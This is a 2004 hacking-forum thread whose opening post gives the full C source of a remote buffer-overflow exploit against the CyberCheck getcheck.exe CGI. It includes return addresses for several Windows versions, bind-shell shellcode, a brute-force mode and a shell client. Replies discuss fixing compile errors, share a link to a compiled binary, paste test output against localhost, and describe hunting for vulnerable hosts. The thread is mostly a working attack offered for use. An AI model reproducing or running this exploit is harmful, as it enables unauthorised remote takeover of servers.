Forums: Cybercheck Buffer Overflow Exploit By Drg4njubas - Forums

Jump to content

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

Cybercheck Buffer Overflow Exploit By Drg4njubas

#1 User is offline   cyrixx 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 128
  • Joined: 29-November 03

Posted 30 January 2004 - 05:13 AM

/* 
    _       ___ _ _         _       _               
  __| |_ _ / __| | | _ _   (_)_   _| |__   __ _ ___ 
/ _` | '_| (_ |_   _| '   | | || | '_ / _` (_-< 
__,_|_|   ___| |_||_||_|/ |_,_|_.__/__,_/__/ 
                        |__/   Presents...       

Cybercheck Buffer Overflow Exploit 

CyberCheck is a subsystem of handling business-to-business transactions 
involving the electronic document interchange for the clients registered 
in CyberPlat. Learn more on www.cyberplat.com 

Details: 
When you use incoreect request method, getcheck.exe call sprintf to write into 
log: sprintf(buffer,"CGI_CheckEnvironment: Invalid REQUEST_METHOD=%s.", ...) 
If you use too long method, buffer will be overrun. 

Vulnerability discovered by drG4njubas of m00. 
Contacts: drG4njubas@bk.ru, http://m00.void.ru 

Thanks to d4rkgr3y for porting to linux. 

*/ 




#include <windows.h> 
#include <winsock.h> 
#include <winbase.h> 
#include <stdio.h> 

#pragma comment (lib,"wsock32") 

void usage(); 
void have_fun(SOCKET sock); 

struct{ 
char *platform; 
DWORD retaddr; 
} 

targets[]={ 
{"Windows 2k sp4 eng" , 0x7c4fedbb }, 
{"Windows 2k sp3 rus" , 0x77E822EA }, 
{"Windows xp sp1 rus" , 0x77e626ba }, 
{"Windows xp sp0 rus" , 0x77f5801c }, 
{"Windows nt sp6 rus" , 0x77f32935 }, 
NULL 
}; 


char shellcode[]= 
//Generic win32 shellcode I coded(binds shell to a port 61200) 
"x90x90x90x90x90xEBx0Fx58x80x30xBBx40x81x38x6D" 
"x30x30x21x75xF4xEBx05xE8xECxFFxFFxFFx52xD7xBA" 
"xBBxBBxE6xEEx8Ax60xDFx30xB8xFBx28x30xF8x44x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x44x6Bx36x3ExA7xBBxBBxBB" 
"xEBxECx44x6Dx44x6Bx53x34x45x44x44xFCxDExCFxEB" 
"xC9xD4xD8xFAxDFxDFxC9xDExC8xC8xBBxF7xD4xDAxDF" 
"xF7xD2xD9xC9xDAxC9xC2xFAxBBxFExC3xD2xCFxEBxC9" 
"xD4xD8xDExC8xC8xBBxFCxDExCFxE8xCFxDAxC9xCFxCE" 
"xCBxF2xD5xDDxD4xFAxBBxF8xC9xDExDAxCFxDExEBxC9" 
"xD4xD8xDExC8xC8xFAxBBxFCxD7xD4xD9xDAxD7xFAxD7" 
"xD7xD4xD8xBBxCCxC8x89xE4x88x89xBBxECxE8xFAxE8" 
"xCFxDAxC9xCFxCExCBxBBxECxE8xFAxE8xD4xD8xD0xDE" 
"xCFxFAxBBxD9xD2xD5xDFxBBxD7xD2xC8xCFxDExD5xBB" 
"xDAxD8xD8xDExCBxCFxBBxB9xBBx54xABxBBxBBxBBxBB" 
"xBBxBBxBBxBBxBBxBBxBBxBBxBAxBBxBBxBBxBBxBBxBB" 
"xBBxBBxBBxBBxBBxBBxBBxBBxBBxBBxBBxBBxBBxBBxBB" 
"xBBxBBxBBxBBxBBxBBxBBxBBxBBxBBxBBxBBxBBxBBxBB" 
"xBBxBBxBBxBBxBBxBBxBBxD8xD6xDFxBBx6Dx30x30x21"; 

char URI[255] = " /cgi-bin/getcheck.exe"; 
char request[]= " HTTP/1.1rnAccept: */*rn"; 


void main(int argc, char **argv){ 
WSADATA wsaData; 
SOCKADDR_IN rmaddr,rmshell; 
HOSTENT *addr; 
SOCKET sock,shell; 
char exploit[2023+sizeof(shellcode)-1]; 
char *uri,*tmp, host[255]; 
int i,t,ret,ok,start,end,bruteforce; 

printf("************************************************n"); 
printf("Cybercheck buffer overflow exploit by drG4njubasn"); 
printf("************************************************nn"); 

if(argc<3){ 
usage(); 
return; 
} 

uri = 0; 
t = 0; 
bruteforce = 0; 
for(i = 3; i < argc; i++){ 
if(strncmp(argv, "/u", 2)==0){ 
uri = argv; 
uri[2] == ':' ? (uri+=3) : (uri+=2); 
} 
else if(strncmp(argv,"/t", 2)==0){ 
tmp = argv; 
tmp[2] == ':' ? (tmp+=3) : (tmp+=2); 
t = atoi(tmp); 
} 
else if(strncmp(argv,"/b", 2)==0 && i+2 < argc){ 
start = strtoul(argv[i+1],0,0); 
end = strtoul(argv[i+2],0,0); 
i+=2; 
bruteforce=1; 
} 
} 

if(uri)strncpy(URI+1, uri, 254); 
if(!bruteforce){ 
i=0; 
while(targets.platform)i++; 
if(t >= i){ 
printf("Bad target number.n"); 
return; 
} 
start = targets[t].retaddr; 
end = targets[t].retaddr; 
} 

for(i = 0; i<2019; i++)exploit = 'a'; 
memcpy(exploit+2023, shellcode, sizeof(shellcode)-1); 
_snprintf(host, 255, "Host: %srnrn", argv[1]); 

WSAStartup(MAKEWORD(2,2), &wsaData); 
printf("[+]Resolving %sn", argv[1]); 
addr = gethostbyname(argv[1]); 
if(addr != NULL){ 
memcpy(&(rmaddr.sin_addr.s_addr), addr->h_addr_list[0], addr->h_length); 
memcpy(&(rmshell.sin_addr.s_addr), addr->h_addr_list[0], addr->h_length); 
} 
else{ 
printf("[-]Can not resolve host namen"); 
return; 
} 

rmaddr.sin_family = AF_INET; 
rmshell.sin_family = AF_INET; 
rmaddr.sin_port = htons(atoi(argv[2])); 
rmshell.sin_port = htons(61200); 
shell = socket(AF_INET, SOCK_STREAM, 0); 

if(bruteforce)printf("[+]Starting bruteforce from %p to %pn", start, end); 
for(ret = start; ret <= end; ret++){ 
sock = socket(AF_INET, SOCK_STREAM, 0); 
if(!bruteforce)printf("[+]Connecting to %sn", argv[1]); 
if(connect(sock,(struct sockaddr *)&rmaddr,sizeof(rmaddr))){ 
printf("[-]Connection failedn"); 
return; 
} 

if(!bruteforce)printf("[+]Using ret for %sn", targets[t].platform); 
memcpy(exploit+2019, &ret, 4); 
ok = 1; 
for(i = 2019; i< 2023; i++) 
if(exploit == 0x00 || exploit == 0x0A || exploit == 0x20)ok = 0; 
if(ok){ 
if(bruteforce)printf("   - Trying ret 0x%pn", ret); 
else printf("[+]Sending exploitn"); 
send(sock, exploit, 2023+sizeof(shellcode)-1, 0); 
send(sock, URI, strlen(URI), 0); 
send(sock, request, sizeof(request)-1, 0); 
send(sock, host, strlen(host), 0); 
closesocket(sock); 
if(!connect(shell,(struct sockaddr *)&rmshell,sizeof(rmshell))){ 
        printf("[+]Congratulations!!! You've got shell;Dnn"); 
have_fun(shell); 
break; 
} 
else if(!bruteforce)printf("[-]Exploitation failed;(n"); 
} 
else printf("   - Ret %p can not be used!n", ret); 
} 
closesocket(shell); 
WSACleanup(); 
} 

void usage(){ 
int i; 
printf("USAGE: n"); 
printf("m00-cybercheck.exe <host> <port> [/u:Request-URI] [/t:num] [/b start end] n"); 
printf("<host>   - hostname(example: www.cyberplat.ru)n"); 
printf("<port>   - portnumber(example: 80)n"); 
printf("[/u:uri] - request-uri(default: /cgi-bin/getcheck.exe)n"); 
printf("[/t:num] - target number(see "TARGETS")n"); 
printf("[/b start end] - bruteforce mode(don't use it with /t key)nn"); 

printf("TARGETS:n"); 
for(i =0; targets.platform; i++) 
printf("%d - %sn", i, targets.platform); 

    printf("nEXAMPLE:n"); 
printf("m00-cybercheck.exe www.host.ru 80 /u:/scripts/getcheck.exe /t2n"); 
printf("m00-cybercheck.exe www.host.ru 80 /b 0x11223344 0x55667788nn"); 
} 


/* 
  have fun with a nice cmd.exe shell;D 
*/ 

void have_fun(SOCKET sock){ 
char buf[1024]; 
int i,j,read,written; 
fd_set fdread; 
TIMEVAL time; 
HANDLE std_in, std_out; 
INPUT_RECORD rec; 
time.tv_sec = 1; 
time.tv_usec = 0; 
std_in = GetStdHandle(STD_INPUT_HANDLE); 
std_out = GetStdHandle(STD_OUTPUT_HANDLE); 
SetConsoleMode(std_in, ENABLE_ECHO_INPUT | ENABLE_PROCESSED_INPUT); 
do{ 
FD_ZERO(&fdread); 
FD_SET(sock, &fdread); 
i = select(0, &fdread, NULL, NULL, &time); 
if(i > 0){ 
if((j = recv(sock, buf, 1024, 0)) == SOCKET_ERROR)return; 
WriteConsole(std_out, buf, j, &written, NULL); 
} 
PeekConsoleInput(std_in, &rec,1, &read); 
if(read){ 
ReadConsole(std_in, buf, 1024, &read, NULL); 
if(send(sock, buf, read, 0) == SOCKET_ERROR)return; 
}   
}while(i != SOCKET_ERROR); 
return; 
}

0

#2 User is offline   nolimit 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 387
  • Joined: 27-January 04

Posted 30 January 2004 - 10:50 AM

lots of compile errors, don't have time atm to go through atm, if someone else does.
some lines i found that didn't smell right
for(i = 0; i<2019; i++)exploit = 'a';

and

while(targets.platform)i++;
guessing it should be targets[i].platform.
I'll try it some more later, gotta get back to work
0

#3 User is offline   x1` 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 409
  • Joined: 15-December 03

Posted 30 January 2004 - 10:57 AM

port 80 then ?
0

#4 User is offline   nolimit 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 387
  • Joined: 27-January 04

Posted 30 January 2004 - 11:08 AM

depends on the HTTP server , but of course most are port 80, so yes.
0

#5 User is offline   fre4k 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 122
  • Joined: 29-January 04

Posted 30 January 2004 - 12:14 PM

are they any vuln scanner for it B)

*sry for my bad english*

-fre4k
0

#6 User is offline   mortello 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 408
  • Joined: 25-August 03

Posted 30 January 2004 - 01:04 PM

Damn guys, this just got out of nowhere and you already ask for what port to scan (this is a bit stupid of a question) and that other guy asks for the scanner....not everything falls off trees....just relax and wait if you don't know how to compile....

Edit : Can't compile this one, I'll wait for the error-free code
0

#7 User is offline   x1` 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 409
  • Joined: 15-December 03

Posted 30 January 2004 - 01:06 PM

i cant compile it :( what compiler to use?
0

#8 User is offline   fre4k 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 122
  • Joined: 29-January 04

Posted 30 January 2004 - 01:22 PM

hey can compile this one! anybody need?
0

#9 User is offline   x1` 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 409
  • Joined: 15-December 03

Posted 30 January 2004 - 01:29 PM

yep i do can u post it in downloads section , and proabably other people need it
0

#10 User is offline   fre4k 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 122
  • Joined: 29-January 04

Posted 30 January 2004 - 01:40 PM

Here it is :D

www.wordi.de/Download/crec.rar


have fun ^^

-fre4k


PLZ notice if this works ^^ THX
0

#11 User is offline   x1` 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 409
  • Joined: 15-December 03

Posted 30 January 2004 - 01:49 PM

that link dosent work please fix or just attact the file to downloads section
0

#12 User is offline   fre4k 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 122
  • Joined: 29-January 04

Posted 30 January 2004 - 01:53 PM

copy This:

www.wordi.de/Download/crec.rar

in your i-net-explorer and it works ^^ ka why?! :D
0

#13 User is offline   x1` 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 409
  • Joined: 15-December 03

Posted 30 January 2004 - 01:58 PM

oh sorry about that my mistake thx for the compiled version
0

#14 User is offline   nolimit 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 387
  • Joined: 27-January 04

Posted 30 January 2004 - 02:02 PM

╔▐┌╧▐δ╔╘╪▐╚╚╗ⁿ╫╘┘┌╫╫╫╘╪╗╠╚Σ╗∞ΦΦ╧┌╔╧╬╦╗∞ΦΦ╘╪╨▐╧╗┘╥╒▀╗╫╥╚╧▐╒╗┌╪╪▐╦╧╗╣╗T╗
╗╗╗╗╗╗╗╗╗╗╗║╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╗╪╓▀╗m00! /cgi-bin/getcheck.exe HTTP/1.1
Accept: */*
Host: 127.0.0.1
 sent 0, rcvd 2688

Works, nice job dude. Didn't have to patience to go through it atm.
0

#15 User is offline   phaeton 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 137
  • Joined: 27-January 04

Posted 30 January 2004 - 02:13 PM

yep, the app worx, just trying to scan for links go getcheck.exe (if thats the name of the default service) but can't find any yet.
0

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

Our Sponsors:


SwiftLayer Affiliate Web Hosting